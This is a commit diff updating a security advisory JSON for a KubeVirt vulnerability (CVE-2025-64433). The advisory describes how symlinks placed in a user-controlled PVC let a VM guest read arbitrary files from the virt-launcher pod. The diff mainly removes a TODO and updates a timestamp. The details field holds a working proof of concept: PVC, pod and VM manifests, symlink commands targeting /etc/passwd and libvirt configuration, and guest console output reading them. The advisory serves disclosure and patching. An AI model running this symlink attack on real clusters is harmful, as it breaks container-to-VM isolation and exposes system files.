Skip to content

Commit 34954bf

Browse files
1 parent b8c4734 commit 34954bf

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

advisories/github-reviewed/2025/11/GHSA-qw6q-3pgr-5cwq/GHSA-qw6q-3pgr-5cwq.json

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-qw6q-3pgr-5cwq",
4-
"modified": "2025-11-07T17:48:58Z",
4+
"modified": "2025-11-07T23:08:11Z",
55
"published": "2025-11-06T23:33:33Z",
66
"aliases": [
77
"CVE-2025-64433"
88
],
99
"summary": "KubeVirt Arbitrary Container File Read ",
10-
"details": "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible.\n\nMounting a user-controlled PVC disk within a VM allows an attacker to read any file present in the `virt-launcher` pod. This is due to erroneous handling of symlinks defined within a PVC.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nA vulnerability was discovered that allows a VM to read arbitrary files from the `virt-launcher` pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the `virt-launcher` pod's file system. Since `libvirt` can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read.\n\nAlthough a security mechanism exists where VMs are executed as an unprivileged user with UID `107` inside the `virt-launcher` container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability (TODO: put link here). The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID `107` prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the `virt-launcher` pod's file system or on a mounted PVC from within the guest VM.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\nConsider that an attacker has control over the contents of two PVC (e.g., from within a container) and creates the following symlinks:\n\n```yaml\n# The YAML definition of two PVCs that the attacker has access to\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n name: pvc-arbitrary-container-read-1\nspec:\n accessModes:\n - ReadWriteMany # suitable for migration (:= RWX)\n resources:\n requests:\n storage: 500Mi\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n name: pvc-arbitrary-container-read-2\nspec:\n accessModes:\n - ReadWriteMany # suitable for migration (:= RWX)\n resources:\n requests:\n storage: 500Mi\n---\n# The attacker-controlled container used to create the symlinks in the above PVCs\napiVersion: v1\nkind: Pod\nmetadata:\n name: dual-pvc-pod\nspec:\n containers:\n - name: app-container\n image: alpine\n command: [\"/some-vulnerable-app\"]\n volumeMounts:\n - name: pvc-volume-one\n mountPath: /mnt/data1\n - name: pvc-volume-two\n mountPath: /mnt/data2\n volumes:\n - name: pvc-volume-one\n persistentVolumeClaim:\n claimName: pvc-arbitrary-container-read-1\n - name: pvc-volume-two\n persistentVolumeClaim:\n claimName: pvc-arbitrary-container-read-2\n```\n\nBy default, Minikube's storage controller (`hostpath-provisioner`) will allocate the claim as a directory on the host node (`HostPath`). Once the above Kubernetes resources are created, the user can create the symlinks within the PVC as follows:\n\n```bash\n# Using the `pvc-arbitrary-container-read-1` PVC we want to read the default XML configuration generated by `virt-launcher` for `libvirt`. Hence, the attacker has to create a symlink including the name of the future VM which will be created using this configuration.\n\nattacker@dual-pvc-pod:/mnt/data1 $ln -s ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml disk.img\nattacker@dual-pvc-pod:/mnt/data1 $ls -l\nlrwxrwxrwx 1 root root 85 May 19 22:24 disk.img -> ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml\n\n# With the `pvc-arbitrary-container-read-2` we want to read the `/etc/passwd` of the `virt-launcher` container which will launch the future VM\nattacker@dual-pvc-pod:/mnt/data2 $ln -s ../../../../../../../../etc/passwd disk.img \nattacker@dual-pvc-pod:/mnt/data2 $ls -l\nlrwxrwxrwx 1 root root 34 May 19 22:26 disk.img -> ../../../../../../../../etc/passwd\n```\n\nOf course, these links could potentially be broken as the files, especially `default_arbitrary-container-read.xml`, could not exist on the `dual-pvc-pod` pod's file system. The attacker then deploy the following VM:\n\n```yaml\n# arbitrary-container-read.yaml\napiVersion: kubevirt.io/v1\nkind: VirtualMachine\nmetadata:\n name: arbitrary-container-read\nspec:\n runStrategy: Always\n template:\n metadata:\n labels:\n kubevirt.io/size: small\n kubevirt.io/domain: arbitrary-container-read\n spec:\n domain:\n devices:\n disks:\n - name: containerdisk\n disk:\n bus: virtio\n - name: pvc-1\n disk:\n bus: virtio\n - name: pvc-2\n disk:\n bus: virtio\n - name: cloudinitdisk\n disk:\n bus: virtio\n interfaces:\n - name: default\n masquerade: {}\n resources:\n requests:\n memory: 64M\n networks:\n - name: default\n pod: {}\n volumes:\n - name: containerdisk\n containerDisk:\n image: quay.io/kubevirt/cirros-container-disk-demo\n - name: pvc-1\n persistentVolumeClaim:\n claimName: pvc-arbitrary-container-read-1\n - name: pvc-2\n persistentVolumeClaim:\n claimName: pvc-arbitrary-container-read-2\n - name: cloudinitdisk\n cloudInitNoCloud:\n userDataBase64: SGkuXG4=\n```\n\nThe two PVCs will be mounted as volumes in \"filesystem\" mode: \n\nFrom the [documentation](https://kubevirt.io/user-guide/storage/disks_and_volumes/#persistentvolumeclaim) of the different volume modes, one can infer that if the backing `disk.img` is not owned by the unprivileged user with UID `107`, the VM should fail to mount it. In addition, it's expected that this backing file is in [RAW format](https://www.qemu.org/docs/master/tools/qemu-img.html#notes). While this format can contain pretty much anything, we consider that being able to mount a file from the file system of `virt-launcher` is not the expected behaviour. Below is demonstrated that after applying the VM manifest, the guest can read the `/etc/passwd` and `default_migration.xml` files from the `virt-launcher` pod's file system: \n\n```bash\n# Deploy the VM manifest\noperator@minikube:~$ kubectl apply -f arbitrary-container-read.yaml\nvirtualmachine.kubevirt.io/arbitrary-container-read created\n# Observe the deployment status\noperator@minikube:~$ kubectl get vmis\nNAME AGE PHASE IP NODENAME READY\narbitrary-container-read 80s Running 10.244.1.9 minikube-m02 True\n# Initiate a console connection to the running VM\noperator@minikube:~$ virtctl console arbitrary-container-read\n```\n\n```bash\n# Within the `arbitrary-container-read` VM, inspect the available block devices\nroot@arbitrary-container-read:~$ lsblk\nNAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT\nvda 253:0 0 44M 0 disk\n|-vda1 253:1 0 35M 0 part /\n-vda15 253:15 0 8M 0 part\nvdb 253:16 0 20K 0 disk\nvdc 253:32 0 512B 0 disk\nvdd 253:48 0 1M 0 disk\n# Inspect the mounted /etc/passwd of the `virt-launcher` pod\nroot@arbitrary-container-read:~$ cat /dev/vdc\nqemu:x:107:107:user:/home/qemu:/bin/bash\nroot:x:0:0:root:/root:/bin/bash\n# Inspect the mounted `default_migration.xml` of the `virt-launcher` pod\nroot@arbitrary-container-read:~$ cat /dev/vdb | head -n 20\n<!--\nWARNING: THIS IS AN AUTO-GENERATED FILE. CHANGES TO IT ARE LIKELY TO BE\nOVERWRITTEN AND LOST. Changes to this xml configuration should be made using:\n virsh edit default_arbitrary-container-read\nor other application using the libvirt API.\n-->\n<domstatus state='paused' reason='starting up' pid='80'>\n <monitor path='/var/run/kubevirt-private/libvirt/qemu/lib/domain-1-default_arbitrary-co/monitor.sock' type='unix'/>\n <vcpus>\n </vcpus>\n <qemuCaps>\n <flag name='hda-duplex'/>\n <flag name='piix3-usb-uhci'/>\n <flag name='piix4-usb-uhci'/>\n <flag name='usb-ehci'/>\n <flag name='ich9-usb-ehci1'/>\n <flag name='usb-redir'/>\n <flag name='usb-hub'/>\n <flag name='ich9-ahci'/>\n```\n\n```bash\noperator@minikube:~$ kubectl get pods\nNAME READY STATUS RESTARTS AGE\ndual-pvc-pod 1/1 Running 0 20m\nvirt-launcher-arbitrary-container-read-tn4mb 3/3 Running 0 15m\n# Inspect the contents of the `/etc/passwd` file of the `virt-launcher` pod attached to the VM\noperator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- cat /etc/passwd\nqemu:x:107:107:user:/home/qemu:/bin/bash\nroot:x:0:0:root:/root:/bin/bash \n\n# Inspect the ownership of the `/etc/passwd` file of the ` virt-launcher` pod \noperator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- ls -al /etc/passwd\n-rw-r--r--. 1 qemu qemu 73 Jan 1 1970 /etc/passwd\n```\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThis vulnerability breaches the container-to-VM isolation boundary, compromising the confidentiality of storage data.",
10+
"details": "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible.\n\nMounting a user-controlled PVC disk within a VM allows an attacker to read any file present in the `virt-launcher` pod. This is due to erroneous handling of symlinks defined within a PVC.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\nA vulnerability was discovered that allows a VM to read arbitrary files from the `virt-launcher` pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the `virt-launcher` pod's file system. Since `libvirt` can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read.\n\nAlthough a security mechanism exists where VMs are executed as an unprivileged user with UID `107` inside the `virt-launcher` container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability. The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID `107` prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the `virt-launcher` pod's file system or on a mounted PVC from within the guest VM.\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\nConsider that an attacker has control over the contents of two PVC (e.g., from within a container) and creates the following symlinks:\n\n```yaml\n# The YAML definition of two PVCs that the attacker has access to\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n name: pvc-arbitrary-container-read-1\nspec:\n accessModes:\n - ReadWriteMany # suitable for migration (:= RWX)\n resources:\n requests:\n storage: 500Mi\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n name: pvc-arbitrary-container-read-2\nspec:\n accessModes:\n - ReadWriteMany # suitable for migration (:= RWX)\n resources:\n requests:\n storage: 500Mi\n---\n# The attacker-controlled container used to create the symlinks in the above PVCs\napiVersion: v1\nkind: Pod\nmetadata:\n name: dual-pvc-pod\nspec:\n containers:\n - name: app-container\n image: alpine\n command: [\"/some-vulnerable-app\"]\n volumeMounts:\n - name: pvc-volume-one\n mountPath: /mnt/data1\n - name: pvc-volume-two\n mountPath: /mnt/data2\n volumes:\n - name: pvc-volume-one\n persistentVolumeClaim:\n claimName: pvc-arbitrary-container-read-1\n - name: pvc-volume-two\n persistentVolumeClaim:\n claimName: pvc-arbitrary-container-read-2\n```\n\nBy default, Minikube's storage controller (`hostpath-provisioner`) will allocate the claim as a directory on the host node (`HostPath`). Once the above Kubernetes resources are created, the user can create the symlinks within the PVC as follows:\n\n```bash\n# Using the `pvc-arbitrary-container-read-1` PVC we want to read the default XML configuration generated by `virt-launcher` for `libvirt`. Hence, the attacker has to create a symlink including the name of the future VM which will be created using this configuration.\n\nattacker@dual-pvc-pod:/mnt/data1 $ln -s ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml disk.img\nattacker@dual-pvc-pod:/mnt/data1 $ls -l\nlrwxrwxrwx 1 root root 85 May 19 22:24 disk.img -> ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml\n\n# With the `pvc-arbitrary-container-read-2` we want to read the `/etc/passwd` of the `virt-launcher` container which will launch the future VM\nattacker@dual-pvc-pod:/mnt/data2 $ln -s ../../../../../../../../etc/passwd disk.img \nattacker@dual-pvc-pod:/mnt/data2 $ls -l\nlrwxrwxrwx 1 root root 34 May 19 22:26 disk.img -> ../../../../../../../../etc/passwd\n```\n\nOf course, these links could potentially be broken as the files, especially `default_arbitrary-container-read.xml`, could not exist on the `dual-pvc-pod` pod's file system. The attacker then deploy the following VM:\n\n```yaml\n# arbitrary-container-read.yaml\napiVersion: kubevirt.io/v1\nkind: VirtualMachine\nmetadata:\n name: arbitrary-container-read\nspec:\n runStrategy: Always\n template:\n metadata:\n labels:\n kubevirt.io/size: small\n kubevirt.io/domain: arbitrary-container-read\n spec:\n domain:\n devices:\n disks:\n - name: containerdisk\n disk:\n bus: virtio\n - name: pvc-1\n disk:\n bus: virtio\n - name: pvc-2\n disk:\n bus: virtio\n - name: cloudinitdisk\n disk:\n bus: virtio\n interfaces:\n - name: default\n masquerade: {}\n resources:\n requests:\n memory: 64M\n networks:\n - name: default\n pod: {}\n volumes:\n - name: containerdisk\n containerDisk:\n image: quay.io/kubevirt/cirros-container-disk-demo\n - name: pvc-1\n persistentVolumeClaim:\n claimName: pvc-arbitrary-container-read-1\n - name: pvc-2\n persistentVolumeClaim:\n claimName: pvc-arbitrary-container-read-2\n - name: cloudinitdisk\n cloudInitNoCloud:\n userDataBase64: SGkuXG4=\n```\n\nThe two PVCs will be mounted as volumes in \"filesystem\" mode: \n\nFrom the [documentation](https://kubevirt.io/user-guide/storage/disks_and_volumes/#persistentvolumeclaim) of the different volume modes, one can infer that if the backing `disk.img` is not owned by the unprivileged user with UID `107`, the VM should fail to mount it. In addition, it's expected that this backing file is in [RAW format](https://www.qemu.org/docs/master/tools/qemu-img.html#notes). While this format can contain pretty much anything, we consider that being able to mount a file from the file system of `virt-launcher` is not the expected behaviour. Below is demonstrated that after applying the VM manifest, the guest can read the `/etc/passwd` and `default_migration.xml` files from the `virt-launcher` pod's file system: \n\n```bash\n# Deploy the VM manifest\noperator@minikube:~$ kubectl apply -f arbitrary-container-read.yaml\nvirtualmachine.kubevirt.io/arbitrary-container-read created\n# Observe the deployment status\noperator@minikube:~$ kubectl get vmis\nNAME AGE PHASE IP NODENAME READY\narbitrary-container-read 80s Running 10.244.1.9 minikube-m02 True\n# Initiate a console connection to the running VM\noperator@minikube:~$ virtctl console arbitrary-container-read\n```\n\n```bash\n# Within the `arbitrary-container-read` VM, inspect the available block devices\nroot@arbitrary-container-read:~$ lsblk\nNAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT\nvda 253:0 0 44M 0 disk\n|-vda1 253:1 0 35M 0 part /\n-vda15 253:15 0 8M 0 part\nvdb 253:16 0 20K 0 disk\nvdc 253:32 0 512B 0 disk\nvdd 253:48 0 1M 0 disk\n# Inspect the mounted /etc/passwd of the `virt-launcher` pod\nroot@arbitrary-container-read:~$ cat /dev/vdc\nqemu:x:107:107:user:/home/qemu:/bin/bash\nroot:x:0:0:root:/root:/bin/bash\n# Inspect the mounted `default_migration.xml` of the `virt-launcher` pod\nroot@arbitrary-container-read:~$ cat /dev/vdb | head -n 20\n<!--\nWARNING: THIS IS AN AUTO-GENERATED FILE. CHANGES TO IT ARE LIKELY TO BE\nOVERWRITTEN AND LOST. Changes to this xml configuration should be made using:\n virsh edit default_arbitrary-container-read\nor other application using the libvirt API.\n-->\n<domstatus state='paused' reason='starting up' pid='80'>\n <monitor path='/var/run/kubevirt-private/libvirt/qemu/lib/domain-1-default_arbitrary-co/monitor.sock' type='unix'/>\n <vcpus>\n </vcpus>\n <qemuCaps>\n <flag name='hda-duplex'/>\n <flag name='piix3-usb-uhci'/>\n <flag name='piix4-usb-uhci'/>\n <flag name='usb-ehci'/>\n <flag name='ich9-usb-ehci1'/>\n <flag name='usb-redir'/>\n <flag name='usb-hub'/>\n <flag name='ich9-ahci'/>\n```\n\n```bash\noperator@minikube:~$ kubectl get pods\nNAME READY STATUS RESTARTS AGE\ndual-pvc-pod 1/1 Running 0 20m\nvirt-launcher-arbitrary-container-read-tn4mb 3/3 Running 0 15m\n# Inspect the contents of the `/etc/passwd` file of the `virt-launcher` pod attached to the VM\noperator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- cat /etc/passwd\nqemu:x:107:107:user:/home/qemu:/bin/bash\nroot:x:0:0:root:/root:/bin/bash \n\n# Inspect the ownership of the `/etc/passwd` file of the ` virt-launcher` pod \noperator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- ls -al /etc/passwd\n-rw-r--r--. 1 qemu qemu 73 Jan 1 1970 /etc/passwd\n```\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThis vulnerability breaches the container-to-VM isolation boundary, compromising the confidentiality of storage data.",
1111
"severity": [
1212
{
1313
"type": "CVSS_V3",

0 commit comments

Comments
 (0)